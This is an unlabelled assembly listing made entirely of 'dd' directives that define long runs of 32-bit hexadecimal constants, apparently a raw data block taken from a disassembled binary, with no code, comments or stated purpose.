dd 0F5FDA440h, 0ECAE0Eh, 13F9C4AFh, 0C21F8DF0h, 0C6E85113h
dd 5A80B502h, 0A410405Eh, 9CA05C2Ch, 0C01CEAC0h, 0EBB08A9Ah
dd 0A3001878h, 21C8F2F0h, 0C64832h, 86AA8904h, 0FCCCBF75h
dd 44A76307h, 71D07DE3h, 0FD851C17h, 1E936C24h, 2CB00A54h
dd 802D1DF3h, 6A0DCE87h, 0D0072A1Ah, 0CF8BC316h, 94573280h
dd 3196030Ch, 1FB0F377h, 0F0D6D3B0h, 41CF94Ch, 0B4868A51h
dd 0C8EE6C90h, 0A2E17708h, 0FC6848DCh, 0D8F300FBh, 290238D6h
dd 9F3883E0h, 0C0D8B1h, 0DECD827Ch, 38863E37h, 7B1BFDh
dd 2C7D59F1h, 0F25E9DF4h, 0B4A69803h, 0CF080161h, 0E70BB0C0h
dd 0F85B248Eh, 80EA05A0h, 0D1C0BA55h, 0E067B5h, 0E29DF22Ch
dd 6B94C484h, 535A7900h, 364DC18Fh, 630300C3h, 6E50FD1Ah
dd 8E004C91h, 115BE483h, 0C2CC8Bh, 0E59E2098h, 0C6026833h
dd 0E100F6B0h, 140927ACh, 126072Fh, 0B4B84DDFh, 4077FD10h
dd 0EB644A8Bh, 6CD14403h, 0C0BC51DDh, 3E45E056h, 83802BB7h
dd 11535779h, 0F80266F4h, 3984C7BEh, 3774E876h, 0D0FCDBh
dd 0B70EB84Bh, 96EEA66Eh, 310A8E00h, 0A847AB70h, 72880757h
dd 0E0B57ABCh, 77D05A83h, 0F65E6100h, 1C194356h, 0CA071FD1h
dd 0BB090E0h, 1496E73Eh, 30D60120h, 8AE31127h, 0C43C708Dh
dd 947E4301h, 0DCE2493Eh, 0EED0F870h, 0E9A30093h, 67989985h
dd 900BE08h, 0B20B7074h, 18ADE34Dh, 30A4A701h, 0C7248350h
dd 520586B7h, 0B08095B1h, 8964FDh, 0B2017CEBh, 0F2FED996h
dd 0E2CD6900h, 0E7AE2B5Dh, 0CC78029Ch, 901C03D2h, 0A7B582E0h
dd 440C5F0Fh, 77405D33h, 7651787Dh, 5474331Fh, 45883570h
dd 0C0903B82h, 0CD0A180Eh, 0DFDD6EC0h, 368E880h, 8AD25Ah
dd 0D697149Ch, 925141EDh, 0C3E21909h, 90908087h, 184A7E99h
dd 6E5DFC15h, 0CD03D010h, 0EEB76441h, 0A1F5882Fh, 11EA0089h
dd 5AC3C239h, 1602DF27h, 0E724A30h, 25DC50C5h, 0CC10BE26h
dd 0A4D9078h, 0CE3B04h, 23192B88h, 1478B50h, 31331B73h
dd 0E8DD5982h, 98042480h, 0D8050A2Fh, 84AE0280h, 0E8F00FCh
dd 0AFD2ABA6h, 0EE0769C5h, 0D851D5EFh, 6DB31750h, 0AB1B02ADh
dd 0BBCF90FCh, 30CCE341h, 47EE8DE8h, 1CD9C503h, 975DB4BDh
dd 0D413D750h, 6C5600FBh, 405584D8h, 142EE36Fh, 5C019CBDh
dd 0BF914F9Eh, 59E080CAh, 0C343CCh, 0E666B7B5h, 47874B12h
dd 0A3CE7200h, 0CD56D59Ch, 671007Ch, 999B97B8h, 39057091h
dd 5B5EB398h, 373AC200h, 27CA1E35h, 0AC01B4A0h, 72BC8132h
dd 4D8F0090h, 0D0952021h, 56651EA6h, 0A492E4h, 6016C13Ch
dd 0AA61C2CEh, 0F214310h, 10D19E0h, 8B9BCF46h, 0C9E2592Fh
dd 10716112h, 0C66B2DC8h, 50926378h, 4D49BF07h, 0C450DFA3h
dd 0EA6BA58h, 0B175F99Fh, 0F7CA7C80h, 4A07BE11h, 0C63A2C62h
dd 0D2408319h, 0F280BF3Bh, 7191C1Fh, 0F10555F5h, 77A1719Eh
dd 10CB20CFh, 8028F300h, 0BB3FA566h, 53090232h, 7092E2C8h
dd 7400C050h, 4D84B359h, 67196Eh, 0C4AEEAE3h, 9D63CC04h
dd 0E0048ECh, 4A775256h, 0B07DF712h, 7CD7015Ch, 5F1BBC1Fh
dd 0C5F9DDC8h, 56DAFCB0h, 0BB1CBF03h, 0C03572FDh, 60CFCEh
dd 80A92A68h, 5E8F0333h, 3BEA283Dh, 84CB01BBh, 0D55C436Ah
dd 0FCB7C200h, 9DB58304h, 3741798Dh, 38149592h, 4F2B3D34h
dd 2CB8020h, 74840727h, 217CA98Dh, 30E6651Bh, 2E021024h
dd 0EE6B3E78h, 15C377CBh, 34EA80CDh, 0EC987622h, 10066E2h
dd 9521D9F0h, 0C667F9h, 0AF37BBEFh, 8380E809h, 8CD44200h
dd 4C704F27h, 0BFB5005Eh, 33C30B86h, 8500C511h, 62050991h
dd 2600D4Fh, 2967EA66h, 15E09212h, 0B0B06FA3h, 228EA204h
dd 0D4C0A775h, 0FF3FED4h, 0F3FABB4h, 87E7D2A0h, 72482A32h
dd 1D733918h, 755E93D5h, 47AA80FBh, 0C5CB5192h, 1EF0F2F5h
dd 0D55E3h, 0F180604Dh, 0E60047F2h, 0FA25EC13h, 7B131h
dd 0CBA818A7h, 0BB152CD5h, 0E4FDC498h, 6680B352h, 0A70216C9h
dd 639400B5h, 0CBC46AB7h, 31F0E400h, 0CA865593h, 48FBE8F3h
dd 9C1F788Ch, 0B127408Ah, 886BE313h, 60CB5600h, 708F65Ah
dd 23740016h, 1F1EB458h, 0F20983CCh, 80E5C678h, 571D2A10h
dd 49AE0043h, 5F9E6EB2h, 0EB001863h, 5056DE8Ch, 0AA5DFh
dd 0CAEEC84h, 8104FFA2h, 31BC5F00h, 0F9E04F6Eh, 4DDD00F8h
dd 7A45DB43h, 0A00204Ch
dd 0B4F0A23Ch, 3E4BA106h, 778798BDh, 619AB832h, 0C8D33574h
dd 0DC002D9Eh, 0E6E7EB2Eh, 0FA995026h, 750600E9h, 0FCE5DB1Ah
dd 21E82AC5h, 221F8600h, 0BBB4BA52h, 4A9909B8h, 0D000D8E3h
dd 871B58D9h, 927C4F02h, 48962B54h, 3CF417F4h, 0D882F6B1h
dd 464ED72Eh, 0D1A9A4C8h, 638B9700h, 516F70C8h, 959B00DCh
dd 0B77AA3B6h, 7C008190h, 3B6375D6h, 1F27F1FDh, 0A839C06Ah
dd 45E16DCh, 0A01CB0h, 40E95DD4h, 0A4A0C014h, 0F20084D2h
dd 5A104A5h, 13E068h, 33DD5B7h, 9880FF24h, 8C496224h, 0F3C06C1Eh
dd 0C4199630h, 0AA5033E6h, 10C0CF18h, 0A00C0614h, 0C02772F2h
dd 0AAF4003Fh, 0FB76098Ah, 0B80074B1h, 402FB2F3h, 72A747D0h
dd 35BA0E7Dh, 0F9C3819Bh, 89B0EB73h, 3006786h, 17F5ACCEh
dd 1292D8h, 44DFB29h, 18266094h, 4F0CD701h, 517BC972h
dd 3D6AD8h, 0DFA5E2A3h, 82FED243h, 0DA494500h, 5B56481Bh
dd 0F331005Fh, 6CD4A337h, 1002A8Dh, 5AE1B114h, 0AB11D9h
dd 0D949387h, 34F7488Bh, 7F9EE500h, 171358D5h, 0EA050054h
dd 9AECBFFCh, 0DCA8F188h, 0C0B658ABh, 698D3C00h, 986A2FE2h
dd 4D8E0030h, 24E6282Ah, 0F6000385h, 19291838h, 4BF81Fh
dd 69B0FDFBh, 90BEDFD9h, 0EC83B102h, 81B48EE4h, 0C460A2DCh
dd 725EA710h, 9A9B4100h, 0E909B040h, 1D1700AAh, 0EFBC91D1h
dd 587793DBh, 0C5BDFC00h, 0AD15F64Dh, 8BED0BCEh, 1480C0C2h
dd 86084A58h, 9100BC90h, 37921477h, 11150Ah, 68D7A6AEh
dd 59A3F4F3h, 0BBA17E0Eh, 0E33B6061h, 1CDFFD45h, 0C07130C2h
dd 2A2C4A6Fh, 1701B724h, 6DEF0B20h, 0EDC995Bh, 2EF2007Fh
dd 8EE3F4ADh, 0D100A4F6h, 5CF7F9C1h, 16C087h, 8BB8293Bh
dd 91490F55h, 0D93C3Ch, 0E889DDF5h, 77DA4Eh, 61991045h
dd 0FDDE705Eh, 74AD9000h, 0BD27EF5Fh, 257256h, 0E37E6F60h
dd 0B817DB13h, 80BC2CF8h, 1CF1833Fh, 0D94AF257h, 0CE207B09h
dd 0CA7E0315h, 0D7CD3D22h, 983B4100h, 38D05295h, 5567008Eh
dd 0A8FE905Fh, 43FAD9E6h, 2F2D091Dh, 48206C0Ch, 0B61300A3h
dd 28DEFAE2h, 710059EBh, 450E1AA5h, 4FF5D78Fh, 7ACC0027h
dd 6CD876ABh, 2824B5Ch, 0B5DAA3F2h, 12A0721Eh, 6EDBC8h
dd 0B6B6192h, 601C6870h, 65476D0Eh, 81FA9E71h, 5A7CC700h
dd 7DC1B4h, 0B6FBBD59h, 2615D484h, 9403085Fh, 91F2A1h
dd 0B4275E79h, 0B04C61E1h, 38074212h, 553E5800h, 0C149128h
dd 93218C81h, 89301631h, 768E4909h, 84051D33h, 65601E7Eh
dd 80E34C69h, 0D28B9A50h, 3B0E63h, 314FE8F1h, 7326049h
dd 0BE92331Eh, 0EA00211Eh, 28090189h, 0BF2000E3h, 4C91E5BDh
dd 3CA03E93h, 945CB7A2h, 0E3C201F1h, 84CDB78h, 0A01AFCh
dd 0E89DFB09h, 57B34A60h, 0BC908960h, 5015DF84h, 508C7C23h
dd 70C283Fh, 4A962854h, 14FE4F5Dh, 0E400142Ch, 0D5640E05h
dd 58006AF4h, 994093E9h, 3F3DE01h, 443F72E1h, 0EB889B81h
dd 41004C52h, 0D76DF72Bh, 0E94F43h, 2F441AA9h, 0ACE8D834h
dd 0D5493800h, 372356A8h, 0F19600B0h, 860ECBE0h, 200E7A93h
dd 232BD62Ch, 0C330BD83h, 0E07EAB59h, 9187988h, 0CC34E41h
dd 0E1F88851h, 0A3840201h, 0F678371Dh, 9BC30C81h, 99289EF5h
dd 1CC2BE0Ah, 32FA3700h, 0CE41498h, 0AC167E2Dh, 21C08908h
dd 0C132B1CCh, 6A1701FCh, 0E4A33384h, 0F041817Fh, 0CC623824h
dd 1AED9BFDh, 69C39847h, 78998612h, 1DA8180Eh, 0B64011E5h
dd 6FA53D00h, 67931E58h, 0FE08CC48h, 8303A221h, 557C193Dh
dd 73D4D881h, 0E09528F2h, 2A24660h, 149432BEh, 108E3104h
dd 932B5D0h, 0EF30D4BFh, 0F7E93201h, 0E5419C78h, 0DE2A8FC7h
dd 949822C9h, 73A89069h, 6E2403E5h, 400203CCh, 65293Fh
dd 0E8C67CBh, 1DEFC27Ah, 0F80F7F2h, 1CC061EDh, 6DA6AA62h
dd 257BCC7Dh, 0BB1A50C0h, 1DECC1C8h, 952DD6E1h, 7C881CF8h
dd 103C980Ch, 1ED7FCE0h, 1EF8165h, 92B93644h, 0C8E04B9Fh
dd 89A6C06Bh, 940051CAh, 147C6F41h, 4468F17h, 23911658h
dd 0C00C9B27h, 0CF12339Eh, 6C143F0Bh, 6EAE3A0Eh, 6B778C81h
dd 81F2F08Fh, 13E00297h, 0BC700072h, 49C0B8C2h, 0C3CF3BFFh
dd 0F98B08Bh, 6C73240Ch, 81218C0Ch, 75628200h, 1A99AF1Dh
dd 5D2D007Ch, 1170C95Bh, 3B1F1CF7h, 634961E8h, 6FD820E6h
dd 5488A07Ah, 11E472h, 84BE5695h, 8CED3196h, 750898EDh
dd 0ADB221h, 81BC2D56h, 0FC0DD747h, 0A2A30807h, 6A21A958h
dd 73C0E593h, 0E865E4F0h, 9D3F00AAh, 0FE7FFBFDh, 643AC88Fh
dd 0BCB3126Fh, 0E2390C01h, 0F0807D7Bh, 81A4CA67h, 0E5260F78h
dd 440164D1h, 7DE9B095h, 0CF1AB850h, 0E3B43325h, 930FB21h
dd 0A5BA2152h, 2E370025h, 5A9123F4h, 0DA05D194h, 6C973858h
dd 0EF3FB000h, 608893C1h, 0BF4AD962h, 3E0F9808h, 0E061FEFDh
dd 0C8AAE6B7h, 0B4731216h, 0E7610040h, 8D3A0F80h, 3E0999EEh
dd 1D622DADh, 806B11B4h, 0A94621A6h, 0B98E00B7h, 0A43E54E4h
dd 0CCA150FBh, 964FD473h, 4BB05764h, 0BA040249h, 0FAC80BDh
dd 0D1838D2Dh, 90523D63h, 8A60F5F1h, 3B64078Fh, 8482A120h
dd 32BF30A7h, 0BC14AF11h, 0D1808888h, 65E332B6h, 0B35A00C2h
dd 421E4726h, 0F40E409Dh, 60B6A59Fh, 6C906057h, 88861569h
dd 7EA40Bh, 27210D05h, 10506DFAh, 9F7B1D74h, 0BECE7609h
dd 9F0D0B9h, 1797E19Ah, 60A64004h, 7BF85693h, 7E448C84h
dd 56AB004Ch, 7185F5AEh, 1724F8E7h, 69092486h, 0E99C900Dh
dd 44200596h, 11B53DCh, 0B2FF80A8h, 0F02031D0h, 6454E431h
dd 0B101EB88h, 948A837Fh, 0FAFC792Eh, 0D39800B8h, 8DF5D4BDh
dd 971A6FE9h, 3688847h, 841F63ECh, 8CDDA088h, 0FB569805h
dd 60284E84h, 775B053h, 2065F1C0h, 8EFBA166h, 9EE4488Ch
dd 4A0629CEh, 25BEC86Ah, 0E4FCE861h, 0D8A7886Eh, 44B9EA00h
dd 80C751EBh, 556C0057h, 6D2EC840h, 950228BEh, 4B123853h
dd 0A1B04020h, 0C93600A2h, 0E5291D08h, 8F0063B7h, 882DEC14h
dd 981910F3h, 800AEAF4h, 0BB249F59h, 0C428242Ch, 0A402B146h
dd 0C9E3B525h, 6C165331h, 8DF72500h, 9AA9280Fh, 0AD630019h
dd 84E1F28Ah, 0F3509C8Fh, 0E8541FC8h, 50000BDCh, 338A6377h
dd 0B86DE3BEh, 314A12AFh, 23142F6Ah, 849D017Dh, 82E66DEFh
dd 936C3E68h, 8ADC8055h, 984978E7h, 9B100B88h, 0C818591Fh
dd 46840D8Bh, 3DB402AAh, 30486FCFh, 0A0800C3Bh, 773D00A1h
dd 0ADB95544h, 690BC490h, 20E4FC24h, 609A7154h, 0FA5C093Dh
dd 88F1DF70h, 8FE9DD85h, 469B020h, 7B5B85Ah, 0AA6B5BF5h
dd 3F70FAA7h, 18E12800h, 0C01FEBB9h, 3B9E0F00h, 3F073AEDh
dd 0B0605F9h, 0C08CF8C9h, 1B89BBF8h, 902993Ch, 0F34BD0C4h
dd 840269Ch, 69060581h, 2EF1F41Ah, 43008EE9h, 20C857FBh
dd 590476BEh, 0B5955F3Ch, 8C80898h, 0A9E3B925h, 0BD4057C4h
dd 8E3925A6h, 91967400h, 0E3F4672Eh, 6B860AF8h, 42CC6603h
dd 0D8083FFCh, 0B428CC21h, 9202A746h, 0BE84F956h, 0B1000047h
dd 68256AAh, 4FD094E1h, 775C25A0h, 0BCA6CE53h, 87457B09h
dd 1D04F8DBh, 0C5354E42h, 4007769Bh, 6591C9A0h, 71240F2Eh
dd 0BBC008ABh, 0EB6FCE3Dh, 21C0F318h, 0A3DBCA7h, 8FD609ACh
dd 88D8E7E8h, 6021E96Fh, 650EEC5h, 0ABDB00C3h, 471C8BDFh
dd 554CFC8Eh, 48042208h, 37070851h, 92BF105h, 5E296881h
dd 432848E8h
dd 8E621200h, 57A9EBADh, 1530245h, 76B8674Bh, 626A7C61h
dd 3079F2F8h, 53021330h, 0DBF1E5B1h, 57E0C1CAh, 0C205875h
dd 0C0988CB2h, 0C1E3B616h, 1B8D038h, 53A525A3h, 60C82EE7h
dd 8A7A30CCh, 1B21C490h, 0C7988DFh, 0BA60A444h, 6F23C93Dh
dd 21F118B8h, 3D3FA7A6h, 8DD286BAh, 519EF1Dh, 95800EC2h
dd 4D9081C8h, 60A07068h, 0F0885488h, 4F900110h, 0A8090DA9h
dd 9F5480F9h, 0A1DDDEA7h, 765B1251h, 0FEDC60BEh, 1B26876Dh
dd 0C30C9430h, 0F8575199h, 825D3B1Dh, 4BEB0D80h, 2BAC9BCEh
dd 1F3C0904h, 0F4C2EA1Ah, 0E97721BDh, 5B821786h, 52CC6016h
dd 57620644h, 0C9E61169h, 38036E02h, 6013C402h, 24F0EFD4h
dd 36069DFh, 1A8410E7h, 9EE9180Ah, 1F3BFC23h, 538B62D4h
dd 1B6002A5h, 19A211DFh, 250456CCh, 164684h, 56AF4800h
dd 15D9CF14h, 0DE62018Fh, 0C3D88E53h, 23C980BEh, 0B7D31B08h
dd 757E4B4h, 1098EC99h, 0E0C14C1Fh, 0DE086160h, 0E06B84C4h
dd 0F38C05A1h, 0D04E6CB4h, 0B6A77EACh, 773B6498h, 58345CB0h
dd 0CEAB0120h, 3E92BF07h, 26F99470h, 4904146Dh, 0F405400Eh
dd 8800125h, 7056028Dh, 554C8483h, 33047688h, 983A246Dh
dd 0F2882C8Eh, 0E896B7C0h, 40AB648Bh, 38D0A4C3h, 334AE70Fh
dd 757C0A0h, 12D610C6h, 945F5EFh, 486D9914h, 4469A860h
dd 0E1F00B9h, 0A065BF58h, 935040D6h, 0E4872BE4h, 0FEA4607Eh
dd 878048E5h, 9A3A1961h, 87F0F895h, 900CFE8h, 64B0F34Bh
dd 696C4C34h, 0FC447133h, 8B3FF90Fh, 0F407176Bh, 57302629h
dd 907723h, 861E1867h, 6D7D1517h, 650035F0h, 338970A1h
dd 3C9F02A7h, 4C4CE421h, 9901DC23h, 0B684FA56h, 4E887418h
dd 45561C91h, 6DFA45D6h, 6F618079h, 9450D3F7h, 0C0240F3h
dd 9FB7F32Fh, 797459EDh, 0EC4187Fh, 5F3F2E58h, 0A43E9580h
dd 28941F3Bh, 0EE8D4380h, 9D19461h, 679BEAD5h, 0E5A144E8h
dd 2B717F02h, 404319EFh, 707C4400h, 76BC961Fh, 0F9747846h
dd 3F2F9830h, 4C30FF8Bh, 0CD31A58h, 7DF90491h, 0A18E218h
dd 1D51CDEFh, 0AADA096Dh, 0F0C6669Ah, 0C4B97F73h, 0D31874D1h
dd 90FEFD76h, 92F3843Eh, 1003C72Ah, 71D7B9Bh, 0BAD89FB8h
dd 8A47AF9h, 96800F74h, 4B3B7CC8h, 0DE7304AAh, 8EE73E62h
dd 0C3F84DCh, 2DE12130h, 4AC7A201h, 0EBACF78Bh, 88F5C864h
dd 2D00A7CAh, 292CE59Dh, 99149Ah, 0E6089E91h, 715E1610h
dd 0ED1DDF1Bh, 95A1E031h, 70011CD4h, 0FE8A816Ch, 297C4BC8h
dd 0F9060E34h, 683121EDh, 0F43CB312h, 10242E96h, 19C00C3Fh
dd 0A53AA271h, 0C900BA7Eh, 42E9C9Ah, 0D60EB51Eh, 12506E59h
dd 50880EC7h, 0A95D000Ah, 6A05C26Dh, 380B2AD5h, 0A16CD7A4h
dd 8C5C8FD0h, 0F85E7C20h, 18046067h, 0E3ECF72Ah, 0A21AA8A0h
dd 0EEE51105h, 10C20D0Eh, 25AA30B3h, 79E3B711h, 0BF805188h
dd 0F8AB25D8h, 5231630h, 0A76890FBh, 4E90A88h, 2F1301C0h
dd 0E8F011Fh, 0D8571663h, 4B86CF9h, 90ABFF6Eh, 9C1F30F4h
dd 852D42A0h, 4C13C8A2h, 9C01B0AEh, 53EB1DD6h, 57E0C78Ch
dd 5200951Ah, 0F2098FABh, 1340C833h, 0A0EAC373h, 6C6094A4h
dd 0F106E031h, 56611E25h, 8DE9041Ah, 5C3CA0E3h, 465C609Eh
dd 548076Eh, 0E8B871Ah, 976F0964h, 80799190h, 23E75BB4h
dd 0FB6E0126h, 699AAB7Ch, 97C1810Dh, 32EBFF4Fh, 25E75C70h
dd 101740D3h, 98837491h, 0EAD0F39Ch, 8B08CE5h, 15A38400h
dd 10E3522Eh, 84C0AA43h, 0B960AD50h, 6F23C83Dh, 0CC4415B0h
dd 3DA2A501h, 0F4AD6C07h, 910FAEB7h, 0C568011Ch, 0D0E895D3h
dd 4CE78210h, 1A123B0h, 149532F9h, 889C18ACh, 3200B0D7h
dd 813E6411h, 53350469h, 55A2D84Ch, 5C3830h, 0BDC551D7h
dd 0E56EC30Ch, 9FB12300h, 44DFCDB8h, 4C910BE3h, 88893089h
dd 7EE46845h, 4A4E1067h, 209B048h, 0F650E7h, 88DEA4B8h
dd 44D006BAh, 0E166C3FCh, 5DA8CD03h, 8C057C2Bh, 36AE16C0h
dd 57E7074Ah, 0A58F6Dh, 0D0506B9Ah, 52C5B58h, 98EA737Bh
dd 9CE268A2h, 6780D733h, 24A95869h, 0C0BC0250h, 6B7F8757h
dd 4DE5D8A0h, 3BCF902h, 4062CFEAh, 480AFF70h, 4622A815h
dd 816AE430h, 0E6D75983h, 0EABE0015h, 603966CDh, 1104D926h
dd 22C3DCEEh, 8077C8D3h, 133E218Ah, 760DF7Ch, 4E56C4Ch
dd 708A0C4h, 3E69A709h, 884024FFh, 0EA9888h, 6810AD08h
dd 85A6A203h, 783FEC00h, 4DFB4905h, 0B99D0044h, 1593B5D2h
dd 69070C18h, 39D78312h, 488B0FE5h, 2AC23BC8h, 0F6AA83EFh
dd 305DA84Dh, 25847A89h, 0EC8642D5h, 0E913313Fh, 0CD2668Fh
dd 0F8E04415h, 7C1D389h, 0A66BBE0Dh, 1A13F818h, 0D44330FFh
dd 2B86694h, 0E8E55129h, 80FC7387h, 1FA63Ah, 18175B80h
dd 631369B0h, 876D791Bh, 0DC8064BAh, 54A2DFAh, 5A52FF04h
dd 0B88E39D5h, 43C06A88h, 926C52h, 0D4C1B3B1h, 8CB2741Dh
dd 912E1300h, 93AA46FEh, 1C5C594Dh, 8CFC27B8h, 7B6C5C03h
dd 3780BE2h, 806A99E8h, 58E0B1ADh, 5F169004h, 0ACD408FDh
dd 28FEE081h, 745EA985h, 10F4D753h, 8AB6A5AAh, 570E8190h
dd 869AA4BCh, 796BEBh, 883B95C7h, 0BE272C84h, 730092EEh
dd 0E3B53894h, 3DC93197h, 0E5AEBFF8h, 3846745Ch, 2EE17806h
dd 0CBF428CFh, 7DD83750h, 0E5601250h, 783F802Ch, 0E885AA96h
dd 773BB004h, 0F3C40113h, 0D4C14DADh, 0B0B988E7h, 7C70F600h
dd 18F2B046h, 0F1B49F3Eh, 6B072496h, 8669BA41h, 0B97CC909h
dd 786D1031h, 5177E7ACh, 0D6F60500h, 3DCB8B84h, 18B32074h
dd 13C8C00h, 440FBCEAh, 64509C7Ch, 569460A1h, 0AE8423BFh
dd 7B7C43Fh, 8F4D56A4h, 3C95C05Bh, 6E1346F8h, 40416F87h
dd 7AAFE8E3h, 346D8C40h, 5C6CB65Fh, 3B035546h, 4A762DDEh
dd 73F64EC8h, 834BF918h, 123DB8EAh, 0A375FE05h, 3089E2C4h
dd 5D007679h, 913C150h, 0F054FB73h, 1A0D1CD4h, 8F1AE0DFh
dd 535874BFh, 4F497070h, 690396F8h, 609A932Eh, 8421050Eh
dd 80E578E7h, 71E14D30h, 54D1C891h, 703EA918h, 2F3B818h
dd 57FF6D84h, 92C48281h, 918C979Fh, 1DE88088h, 0B66D56h
dd 0FB820F66h, 5D84ED47h, 0BC70B82Ch, 0E7288A40h, 0D180E18Fh
dd 9B73F4B3h, 4C00E1D3h, 0B717AAA6h, 4F5CE4A1h, 4046E6Bh
dd 0C3CEB203h, 8A0018BDh, 7E0BF5DFh, 0A0958DEAh, 0F77F3FCh
dd 0A5AE0CCFh, 591018Fh, 0E927D900h, 5F25B291h, 9D790060h
dd 337E8B31h, 23788C03h, 0EFD6EE09h, 68E4912Dh, 0D8C86845h
dd 467003Eh, 21EDD17Eh, 38931289h, 74559878h, 0F2FF03CCh
dd 67FA05D3h, 2F1E2125h, 7523408Ch, 545618h, 0CEA90E24h
dd 0B9B6E886h, 57D19CB9h, 0B0F4718h, 0A1687ABFh, 7D8B5CFEh
dd 8721A022h, 40746BDh, 18149632h, 0D2409DC4h, 0DB6A32B3h
dd 3FE40818h, 0B6166939h, 0D819B804h, 7461A27Bh, 8C7EA10Ch
dd 7F1B9800h, 0E52DED3Eh, 9F5916EFh, 4074C353h, 2A9B70E7h
dd 0A75CB0DDh, 0A93B2270h, 6503B86Ch, 0AD88EAA8h, 0BCC29540h
dd 449E8040h, 5A0BD87Eh, 0AE5B3707h, 6CF4BE59h, 0C8044ACh
dd 0DE82A512h, 75439500h, 22EDAE66h, 1A5602E6h, 0B9E73A44h
dd 0A4266EE0h, 88478F4Bh, 0B471C605h, 0AAE848DFh, 0B2A91E54h
dd 0C11B9A21h, 0E330A757h, 0F0F1FC05h, 41941FFDh, 0F622906Ch
dd 32009CA6h, 888E9C12h, 3B0A3D1h, 53F84881h, 4599FB8Bh
dd 6F288213h, 578703FFh
dd 485F4027h, 4432DF81h, 64200B5Ah, 32898E0h, 6068AA9Fh
dd 69E68FF8h, 0DB74300h, 50F55B36h, 46840002h, 0A8285C0Ch
dd 4A0BEAE8h, 2D6B1A63h, 96D970E8h, 2F954401h, 3B109C2Fh
dd 0F461C10Ch, 0AFE43199h, 86F91F7Ch, 446B058Ah, 24ACA4DCh
dd 3889D713h, 8059E0C8h, 912913F1h, 0E386B06Dh, 48F9EF18h
dd 35C7D070h, 9C017E4Ah, 70A1A8FBh, 89D66220h, 6A0B3C0Bh
dd 3014C474h, 3E28B0A4h, 6DF80530h, 660E9918h, 169E120h
dd 0FF873104h, 6DEE8384h, 3A9ABC2Ch, 1A0F1102h, 7EA02194h
dd 6DF7438h, 69257CBAh, 8F402415h, 2994A4h, 7BC9BDB2h
dd 42D78EAh, 83103507h, 505075CAh, 477D5A9h, 0A7AABC1Fh
dd 80C4C502h, 765A6C9Ch, 0E501DCB6h, 9547974Fh, 8A135879h
dd 96D080E9h, 0B14E4DA4h, 0EC0FE40Ah, 44465Eh, 7021EE51h
dd 16B59A4h, 73B258C1h, 30F85BE5h, 0ED7115A8h, 0C5996125h
dd 609CC48Ch, 19673696h, 0A055E5D3h, 0BB51891h, 506FA43Dh
dd 0A1804CE5h, 0B8773DBEh, 73A803B5h, 8FDD46Dh, 0E084B0ECh
dd 63635825h, 4E41A448h, 93A2B066h, 78A39970h, 8A895F11h
dd 9C641C16h, 23ACF612h, 74B0AC2Ah, 2B007046h, 77EEDF76h
dd 273BF9EAh, 0A5E53F43h, 6D380217h, 0E018EDCCh, 627E3267h
dd 0FB9C301h, 0CF2A9EE9h, 10C42F2Bh, 92C071FDh, 9B5B8EFFh
dd 65BB570Eh, 34DA216Dh, 0C038E0BFh, 8C74BCh, 7AD84D6h
dd 55E439FAh, 47505091h, 738007DFh, 0B09CF7D9h, 675E298Ah
dd 1118BEEEh, 0AF19D6E5h, 2F202834h, 0E004009Ch, 836C2886h
dd 890FC557h, 2084143Dh, 427EF2F1h, 514D1E74h, 0A52B0724h
dd 926D8340h, 0F7C84814h, 4CD0E004h, 0E1FE00F3h, 0C42BFC58h
dd 40F9EB50h, 0C806F2C3h, 3ED0B0Ch, 2B4EC9h, 0F794A9E1h
dd 0E791C1E2h, 9C4BBF03h, 0BB58C6FFh, 7B4FB0FBh, 695D0320h
dd 70452EC8h, 0E40F7100h, 0F4ECF8B8h, 0EEA019BBh, 8077088Ch
dd 0B89BB221h, 0FFD358h, 9EE57D6h, 0E702FE35h, 3D18781Eh
dd 6FA27BC3h, 0F91D98FBh, 0E881EF3Bh, 9FB3CBC8h, 97788695h
dd 7E09E7Fh, 61D41E4Fh, 0D927706Ch, 3B008278h, 0F5C84174h
dd 371645B5h, 10208690h, 0EE47D9C3h, 9D209553h, 37817D51h
dd 6F8026h, 0D1966DC6h, 7C00AC3Ah, 243105B9h, 9F192CA2h
dd 0B408B21Bh, 9DD6219Eh, 3D484005h, 2E25FB66h, 0EC15EF7Ch
dd 2D0C5E5h, 0B75E3328h, 90184A4Fh, 819B231Ch, 275EE488h
dd 0B9ACA500h, 0E6568262h, 0A4990A0Eh, 85AC6A1Bh, 419D496Ch
dd 7927C2F8h, 35A440D2h, 8802C64Ch, 2429C9D3h, 78E2D9h
dd 6F59F0A8h, 200300E0h, 0BBCCEE6Dh, 0DD0C1928h, 59884434h
dd 0ED78007Ch, 0FBA7ECE6h, 0E0038A7Fh, 88025A60h, 4D4805BAh
dd 4272B016h, 0AA9F1A0h, 0EC75440h, 6D7C3872h, 0D21F5904h
dd 0A942A21Dh, 4420C7F3h, 3D50FA8h, 69A27F2Ah, 0A0E0FDCCh
dd 0D1C0F870h, 9E2EF597h, 11F90622h, 8E11ACDh, 3821F060h
dd 1662EEEh, 8077CCCEh, 0FC5870DDh, 330C714Ah, 79A3828Ch
dd 0C0A0E9Eh, 470EA052h, 3D61FDCEh, 0E0601348h, 3E05808Fh
dd 67E05F0Dh, 806CDB15h, 0ECF6B89Eh, 62448CE4h, 0B89500B0h
dd 164FB6C5h, 0F8C00FF4h, 4C4D53EDh, 916539EFh, 70B82986h
dd 5F00B9A0h, 5B097A2h, 74E966E1h, 95600674h, 596E21A4h
dd 1A06B67Eh, 0F0A61391h, 764F0940h, 48108650h, 0EB49F7EEh
dd 5E328628h, 28E74888h, 87A04448h, 6C005E2Ah, 641D88Fh
dd 90B4F65Ch, 6D542410h, 814511E8h, 0ECEFB89Fh, 107931DAh
dd 1FB896B1h, 0C0157FB0h, 0FB10F39Dh, 21C06D43h, 0A89F5F7Dh
dd 0B16E00C9h, 3A73322Dh, 8F149333h, 247426A4h, 3406C44Eh
dd 49D969D7h, 0B780B498h, 0B2243305h, 0DCB5448Ch, 0E3059D00h
dd 0AEAB2199h, 0C0100257h, 0DB6517A8h, 41088440h, 71689E18h
dd 24F12330h, 5452A3h, 6B55B45h, 55033A4Ch, 5CA8C9D4h
dd 81F9EA96h, 0BF417598h, 4809C471h, 213405F4h, 0E1C0BA24h
dd 901205A2h, 0D914076Ch, 504E68ECh, 2B5E1E27h, 0CB09AA15h
dd 82C528C8h, 432A4092h, 93008874h, 0D321C433h, 785B20F0h
dd 0B8C748F2h, 11908524h, 2EFA80A5h, 8CD122E3h, 0D9F244h
dd 0E5BC2EEAh, 8D7C159Dh, 532C1B00h, 70B78489h, 3129C09Fh
